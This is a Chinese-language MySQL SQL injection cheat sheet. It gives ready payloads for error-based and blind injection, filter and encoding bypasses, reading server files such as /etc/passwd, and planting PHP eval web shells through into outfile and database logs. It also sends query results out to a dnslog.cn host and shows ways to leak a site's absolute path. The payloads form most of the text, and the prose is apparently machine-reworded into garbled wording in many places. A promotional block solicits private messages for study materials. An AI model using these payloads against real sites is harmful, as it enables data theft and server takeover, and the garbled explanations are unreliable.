# 修正select user() 字段 获取不同的信息# 1.floor()select from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);# 2.extractvalue()select from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));# 3.updatexml()select from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));# 4.geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));# 5.multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));6.polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));7.multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));8.linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));9.multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));10.exp()select from test where id=1 and exp(~(select from(select user())a));
布尔盲注
常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。
返回值只有True或False的类型
如果查询结果不为空,则返回True(或者是Success之类的),否则返回False

这种注入比较大略,可以挨个预测表名、字段名和字段值的字符,通过返回结果判断预测是否精确
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:
例:order by rand(database()='pdotest')
返回了True的排序,解释database()=’pdotest’是精确的值
韶光盲注实在大多数页面,纵然存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否精确。
常见的韶光盲注有:
1.sleep(x)
id=' or sleep(3)%23id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查询结果精确,则延迟3秒,缺点则无延时。
2.benchmark()
通过大量运算来仿照延时:
id=' or benchmark(10000000,sha(1))%23id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地测试这个值大约可延时3秒:
3.笛卡尔积
打算笛卡尔积也是通过大量运算仿照延时:
select count() from information_schema.tables A,information_schema.tables B,information_schema.tables Cselect balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count() from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡尔积延时大约也是3秒
【----帮助网安学习,以下所有学习资料关注我,私信回答“资料”获取----】
① 网安学习发展路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞剖析报告
④ 150+网安攻防实战技能电子书
⑤ 最威信CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂口试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
HTTP头注入注入手腕和上述相差不多,便是注入点发生了变革
HTTP分割注入常见场景,登录处SQL语句如下,注释符号被过滤
select xxx from xxx where username=’xxx’ and password=’xxx’
# 方法一username=1' or extractvalue/password=1/(1,concat(0x7e,(select database()),0x7e))or'SQL语句终极变为select xxx from xxx where username='1' or extractvalue/’ and password=’/(1,concat(0x7e,(select database()),0x7e))or''# 方法二username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1password=1select from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
二次注入
二次注入紧张涌如今update和select结合点,如注册之后在登录
攻击者布局的恶意payload首先会被做事器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题
SQL约束攻击如果注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。
则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,以是数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相称于覆写了admin账号。
根本绕过大小写绕过用于过滤时没有匹配大小写的情形:SelECt from table;
双写绕过
用于将禁止的字符直接删掉的过滤情形如:preg_replace(‘/select/‘,’’,input)则可用seselectlect from xxx来绕过,在删除一个select后剩下的便是select from xxx
绕过空格
当空格被过滤时,可以利用// () %0a %09进行绕过
利用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273为users的16进制
只能针对表名,字段名等,内置函数关键字,不能利用16进制替代
宽字节、Latin1默认编码宽字节注入
用于单引号被转义,但编码为gbk编码的情形下,用分外字符将其与反斜杠合并,构成一个分外字符:
username = %df'#经gbk解码后变为:select from users where username ='運'#
成功闭合了单引号。
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符
常见字符的替代and -> &&or -> ||空格-> // -> %a0 -> %0a -> +# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1= -> like -> regexp -> <> -> in注:regexp为正则匹配,利用正则会有些新的注入手段
逗号被过滤
# 用join代替:-1 union select 1,2,3-1 union select from (select 1)a join (select 2)b join (select 3)c%23# limit:limit 2,1limit 1 offset 2# substr:substr(database(),5,1)substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个substr(database() from 5)# 如果for也被过滤了mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同# if:if(database()=’xxx’,sleep(3),1)id=1 and databse()=’xxx’ and sleep(3)select case when database()=’xxx’ then sleep(5) else 0 end
limit被过滤
select user from users limit 1加限定条件,如:select user from users group by user_id having user_id = 1 (user_id是表中的一个column)
information_schema被过滤
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情形下可代替information_schema
文件读写读写权限
在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:
我们可以通过user()查看当前用户是什么,如果对运用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。
除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个别系变量,用于限定读写功能,它的值有三种:
(1)无内容,即无限制
(2)为NULL,表示禁止文件读写
(3)为目录名,表示仅能在此目录下读写
该配置项存放在my.ini中,修正之后必须重启mysql重新加载配置文件
读文件如果知足上述2个条件,则可考试测验读写文件了。
常用的读文件的语句有如下几种:
select load_file(file_path);load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取做事端文件load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
须要把稳的是,file_path必须为绝对路径,且反斜杠须要转义:
写文件select 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';
当secure_file_priv值为NULL时,可用天生日志的方法绕过:
set global general_log_file = '/var/www/html/1.php';set global general_log = on;
日志除了general_log还有其他许多日志,实际场景中须要有足够的写入日志的权限,且须要堆叠注入的条件方可采取该方法,因此利用非常困难。
DNS外带注入若用户访问DNS做事器,则会在DNS日志中留下记录。如果要求中带有SQL查询的信息,则信息可被带出到DNS记录中。
利用条件:
1.secure_file_priv为空且有文件读取权限
2.目标为windows(利用了UNC,Linux不可行)
3.无回显且无法韶光盲注
利用方法:
可以找一个免费的DNSlog:http://dnslog.cn/
进入后可获取一个子域名,实行:
select load_file(concat('\\',(select database()),'.子域名.dnslog.cn'));
相称于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。
mysql getshell文件导出函数GetShell利用条件数据库当前用户为root权限知道当前网站的绝对路径PHP的GPC为off状态写入的那个歌路径存在写入权限基于联合查询时?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe
非联合查询
?id=1 into outfile '网站根目录绝对路径' FIELDS TERMINATED BY '<?php phpinfo();?>'-- qwe
这个语句的意思是,导出当前数据表到xxx文件中,数据表中的字段以<?php phpinfo();?>分隔
形如:
id username password 导出后会变成id<?php phpinfo();?>username<?php phpinfo();?>password
outfile和dumpfile的差异
outfile:
支持多行数据同时导出利用union联合查询时,要担保两侧查询的列数相同会在换行符制表符后面追加反斜杠会在末端追加换行dumpfile:
每次只能导出一行数据不会在换行符制表符后面追加反斜杠不会在末端追加换行因此,dumpfile函数这个函数来顺利写入二进制文件,当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效),当利用dumpfile函数时,该当手动添加limit限定来获取不同的行数。
secure_file_prive写文件提权,究竟是离不开这个配置项:
secure_file_prive= ,结果为空的话,表示许可任何文件读写secure_file_prive=NULL,表示不许可任何文件读写secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径在mysql5.5版本前,都是默认为空,许可读取在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修正。以是这种只能在配置进行修正。
查询该参数配置的情形:
show global variables like "%secure%";
利用sql语句修正配置项(5.6版本以前,临时修正重启失落效):
set global secure_file_prive=""
5.6版本往后,只能利用配置项修正:
日志GetShell全局日志Getshell
利用general_log,可以将所有到达mysql做事器的sql语句,都记录下来
# 查看日志是否开启show variables like 'general_log';# 开启日志功能set global geeral_log=on;# 查看文件日志保存位置show variables like 'general_log_file';# 设置日志保存位置(getshell的话存放在网站根目录,名为.php)set global general_log_file='/var/www/html/shell.php';# 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中show variables like 'log_output';# 修正日志存储类型set global log_output='table/file';
GetShell办法:
set global geeral_log=on;set global general_log_file='/var/www/html/shell.php';select '<?php eval($_POST[8]);?>'
慢日志GetShell
一样平常都是通过long_query_time选项来设置这个韶光值,韶光以秒为单位,可以精确到微秒。如果查询韶光超过了这个韶光值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看做事器默认韶光值办法
# 查看做事器默认韶光值办法show global variables like '%long_query_time%'show global variables like '%long%'# 查看慢日志参数show global variable like '%slow%';
GetShell办法:
# 打开慢日志set global slow_query_log=on# 设置慢日志路径set global slow_query_log_file='/var/www/html/shell.php'# 记录到日志中的语句select '<?php @eval($_POST[8]);?>' or sleep(20)
爆绝对路径的方法
上述的提权办法都离不开知道网站的绝对路径,下面是一些得到绝对路径的方法。
单引号爆路径直接在URL后面加单引号,哀求单引号没有被过滤(gpc=off)且做事器默认返回缺点信息。www.xxx.com/news.php?id=1′缺点参数值爆路径将要提交的参数值改成缺点值,比如-1。-99999单引号被过滤时不妨试试。www.xxx.com/researcharchive.php?id=-1Google爆路径结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。把稳,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。Site:xxx.edu.tw warningSite:xxx.com.tw “fatal error”
测试文件爆路径很多网站的根目录下都存在测试文件,脚本代码常日都是phpinfo()。
www.xxx.com/test.phpwww.xxx.com/ceshi.phpwww.xxx.com/info.phpwww.xxx.com/phpinfo.phpwww.xxx.com/php_info.phpwww.xxx.com/1.php
phpmyadmin爆路径一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
/phpmyadmin/libraries/lect_lang.lib.php/phpMyAdmin/index.php?lang[]=1/phpMyAdmin/phpinfo.phpload_file()/phpmyadmin/themes/darkblue_orange/layout.inc.php/phpmyadmin/libraries/select_lang.lib.php/phpmyadmin/libraries/lect_lang.lib.php/phpmyadmin/libraries/mcrypt.lib.php
配置文件找路径如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中探求路径信息(一样平常在文件末端)。各平台下Web做事器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:c:\windows\php.ini php配置文件c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件Linux:/etc/php.ini php配置文件/etc/httpd/conf.d/php.conf/etc/httpd/conf/httpd.conf Apache配置文件/usr/local/apache/conf/httpd.conf/usr/local/apache2/conf/httpd.conf/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
Linux
为什么要把Linux单独提出来说,由于Linux的权限掌握很严格,有的时候纵然我们完备控住了MYSQL 但是 没有对网站根目录的读写权限,也会很没有办法去利用上述方法写shell。